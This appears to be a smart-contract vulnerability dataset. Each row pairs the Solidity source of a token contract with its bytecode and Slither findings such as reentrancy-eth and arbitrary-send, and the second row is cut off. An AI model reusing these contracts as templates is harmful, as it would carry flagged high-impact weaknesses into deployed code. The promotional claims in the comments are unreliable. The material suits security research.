address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x220465B2281B8c55A4CF1534C1aDb5C29Ba00f46
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /** *Submitted for verification at Etherscan.io on 2021-06-23 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract wenAirDrop is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e14 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"wenAIRDROP"; string private constant _symbol = unicode"wenAIRDROP"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 6; uint256 private _feeRate = 7; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 6; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 15; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 300000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610342578063c3c8cd8014610362578063c9567bf914610377578063db92dbb61461038c578063dd62ed3e146103a1578063e8078d94146103e757600080fd5b8063715018a6146102c65780638da5cb5b146102db57806395d89b4114610145578063a9059cbb14610303578063a985ceef1461032357600080fd5b8063313ce567116100fd578063313ce5671461021357806345596e2e1461022f5780635932ead11461025157806368a3a6a5146102715780636fc3eaec1461029157806370a08231146102a657600080fd5b806306fdde0314610145578063095ea7b31461018757806318160ddd146101b757806323b872dd146101de57806327f3a72a146101fe57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082018252600a815269077656e41495244524f560b41b6020820152905161017e9190611a28565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004611980565b6103fc565b604051901515815260200161017e565b3480156101c357600080fd5b5069152d02c7e14af68000005b60405190815260200161017e565b3480156101ea57600080fd5b506101a76101f9366004611940565b610413565b34801561020a57600080fd5b506101d061047c565b34801561021f57600080fd5b506040516009815260200161017e565b34801561023b57600080fd5b5061024f61024a3660046119e3565b61048c565b005b34801561025d57600080fd5b5061024f61026c3660046119ab565b610535565b34801561027d57600080fd5b506101d061028c3660046118d0565b6105b4565b34801561029d57600080fd5b5061024f6105d7565b3480156102b257600080fd5b506101d06102c13660046118d0565b610604565b3480156102d257600080fd5b5061024f610626565b3480156102e757600080fd5b506000546040516001600160a01b03909116815260200161017e565b34801561030f57600080fd5b506101a761031e366004611980565b61069a565b34801561032f57600080fd5b50601354600160a81b900460ff166101a7565b34801561034e57600080fd5b506101d061035d3660046118d0565b6106a7565b34801561036e57600080fd5b5061024f6106cd565b34801561038357600080fd5b5061024f610703565b34801561039857600080fd5b506101d0610750565b3480156103ad57600080fd5b506101d06103bc366004611908565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f357600080fd5b5061024f610768565b6000610409338484610b1d565b5060015b92915050565b6000610420848484610c41565b610472843361046d85604051806060016040528060288152602001611bc8602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061117f565b610b1d565b5060019392505050565b600061048730610604565b905090565b6011546001600160a01b0316336001600160a01b0316146104ac57600080fd5b603381106104f95760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461055f5760405162461bcd60e51b81526004016104f090611a7b565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161052a565b6001600160a01b03811660009081526006602052604081205461040d9042611b77565b6011546001600160a01b0316336001600160a01b0316146105f757600080fd5b47610601816111b9565b50565b6001600160a01b03811660009081526002602052604081205461040d906111f3565b6000546001600160a01b031633146106505760405162461bcd60e51b81526004016104f090611a7b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610409338484610c41565b6001600160a01b03811660009081526006602052604081206001015461040d9042611b77565b6011546001600160a01b0316336001600160a01b0316146106ed57600080fd5b60006106f830610604565b905061060181611277565b6000546001600160a01b0316331461072d5760405162461bcd60e51b81526004016104f090611a7b565b6013805460ff60a01b1916600160a01b17905561074b426078611b20565b601455565b601354600090610487906001600160a01b0316610604565b6000546001600160a01b031633146107925760405162461bcd60e51b81526004016104f090611a7b565b601354600160a01b900460ff16156107ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f0565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082a308269152d02c7e14af6800000610b1d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086357600080fd5b505afa158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b91906118ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e357600080fd5b505afa1580156108f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091b91906118ec565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561096357600080fd5b505af1158015610977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099b91906118ec565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109cb81610604565b6000806109e06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7c91906119fb565b5050681043561a88293000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610ae157600080fd5b505af1158015610af5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1991906119c7565b5050565b6001600160a01b038316610b7f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f0565b6001600160a01b038216610be05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f0565b6001600160a01b038216610d075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f0565b60008111610d695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f0565b6000546001600160a01b03848116911614801590610d9557506000546001600160a01b03838116911614155b1561112257601354600160a81b900460ff1615610e15573360009081526006602052604090206002015460ff16610e1557604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038481169116148015610e4057506012546001600160a01b03838116911614155b8015610e6557506001600160a01b03821660009081526005602052604090205460ff16155b15610fc457601354600160a01b900460ff16610ec35760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104f0565b6006600a55601354600160a81b900460ff1615610f8a57426014541115610f8a57601054811115610ef357600080fd5b6001600160a01b0382166000908152600660205260409020544211610f655760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104f0565b610f7042602d611b20565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615610fc457610fa742600f611b20565b6001600160a01b0383166000908152600660205260409020600101555b6000610fcf30610604565b601354909150600160b01b900460ff16158015610ffa57506013546001600160a01b03858116911614155b801561100f5750601354600160a01b900460ff165b1561112057600f600a55601354600160a81b900460ff16156110a1576001600160a01b03841660009081526006602052604090206001015442116110a15760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104f0565b801561110e57600b546013546110d7916064916110d191906110cb906001600160a01b0316610604565b9061141c565b9061149b565b81111561110557600b54601354611102916064916110d191906110cb906001600160a01b0316610604565b90505b61110e81611277565b47801561111e5761111e476111b9565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061116457506001600160a01b03831660009081526005602052604090205460ff165b1561116d575060005b611179848484846114dd565b50505050565b600081848411156111a35760405162461bcd60e51b81526004016104f09190611a28565b5060006111b08486611b77565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b19573d6000803e3d6000fd5b600060075482111561125a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f0565b600061126461150b565b9050611270838261149b565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112cd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561132157600080fd5b505afa158015611335573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135991906118ec565b8160018151811061137a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113a09130911684610b1d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d9908590600090869030904290600401611ab0565b600060405180830381600087803b1580156113f357600080fd5b505af1158015611407573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b60008261142b5750600061040d565b60006114378385611b58565b9050826114448583611b38565b146112705760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f0565b600061127083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152e565b806114ea576114ea61155c565b6114f584848461158a565b8061117957611179600e54600955600f54600a55565b6000806000611518611681565b9092509050611527828261149b565b9250505090565b6000818361154f5760405162461bcd60e51b81526004016104f09190611a28565b5060006111b08486611b38565b60095415801561156c5750600a54155b1561157357565b60098054600e55600a8054600f5560009182905555565b60008060008060008061159c876116c5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115ce9087611722565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115fd9086611764565b6001600160a01b03891660009081526002602052604090205561161f816117c3565b611629848361180d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166e91815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af680000061169e828261149b565b8210156116bc5750506007549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006116e28a600954600a54611831565b92509250925060006116f261150b565b905060008060006117058e878787611880565b919e509c509a509598509396509194505050505091939550919395565b600061127083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117f565b6000806117718385611b20565b9050838110156112705760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f0565b60006117cd61150b565b905060006117db838361141c565b306000908152600260205260409020549091506117f89082611764565b30600090815260026020526040902055505050565b60075461181a9083611722565b60075560085461182a9082611764565b6008555050565b600080808061184560646110d1898961141c565b9050600061185860646110d18a8961141c565b905060006118708261186a8b86611722565b90611722565b9992985090965090945050505050565b600080808061188f888661141c565b9050600061189d888761141c565b905060006118ab888861141c565b905060006118bd8261186a8686611722565b939b939a50919850919650505050505050565b6000602082840312156118e1578081fd5b813561127081611ba4565b6000602082840312156118fd578081fd5b815161127081611ba4565b6000806040838503121561191a578081fd5b823561192581611ba4565b9150602083013561193581611ba4565b809150509250929050565b600080600060608486031215611954578081fd5b833561195f81611ba4565b9250602084013561196f81611ba4565b929592945050506040919091013590565b60008060408385031215611992578182fd5b823561199d81611ba4565b946020939093013593505050565b6000602082840312156119bc578081fd5b813561127081611bb9565b6000602082840312156119d8578081fd5b815161127081611bb9565b6000602082840312156119f4578081fd5b5035919050565b600080600060608486031215611a0f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a5457858101830151858201604001528201611a38565b81811115611a655783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611aff5784516001600160a01b031683529383019391830191600101611ada565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3357611b33611b8e565b500190565b600082611b5357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b7257611b72611b8e565b500290565b600082821015611b8957611b89611b8e565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461060157600080fd5b801515811461060157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8796eda0f3c5802cd57083acef5c4fee395a0e8e66c4dbc41b4556d8a7ca70364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,900
0x744cf1854048689f5610a7862bac2abfc5dd12ed
/** *Submitted for verification at Etherscan.io on 2021-07-10 */ /* ░█████╗░░█████╗░███╗░░██╗░█████╗░██████╗░ ███████╗██╗░░░░░░█████╗░██╗░░██╗██╗ ██╔══██╗██╔══██╗████╗░██║██╔══██╗██╔══██╗ ██╔════╝██║░░░░░██╔══██╗██║░██╔╝██║ ██║ ╚═╝██║ ██║██╔██╗██║██║ ██║██████╔╝ █████╗░░██║░░░░░██║ ██║█████═╝░██║ ██║ ██╗██║ ██║██║╚████║██║ ██║██╔══██╗ ██╔══╝░░██║░░░░░██║ ██║██╔═██╗░██║ ╚█████╔╝╚█████╔╝██║░╚███║╚█████╔╝██║░░██║ ██║░░░░░███████╗╚█████╔╝██║░╚██╗██║ ░╚════╝░░╚════╝░╚═╝░░╚══╝░╚════╝░╚═╝░░╚═╝ ╚═╝░░░░░╚══════╝░╚════╝░╚═╝░░╚═╝╚═╝ TG: t.me/ConorFloki THE NOTORIOUS IS BACK! IT'S FIGHT DAY! CONOR has his Inu Friend, FLOKI to help him out! WELCOME TO $CONORFLOKI on ETH! ✔️ No pre-sale ✔️ No team & marketing tokens ✔️ Locked Liquidity ✔️ Renounced ownership ✔️ Reflection rewards to holders & team ✔️ 1,000,000,000,000 Total Supply ✔ 50% INSTANT Supply Burn */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CONORFLOKI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private 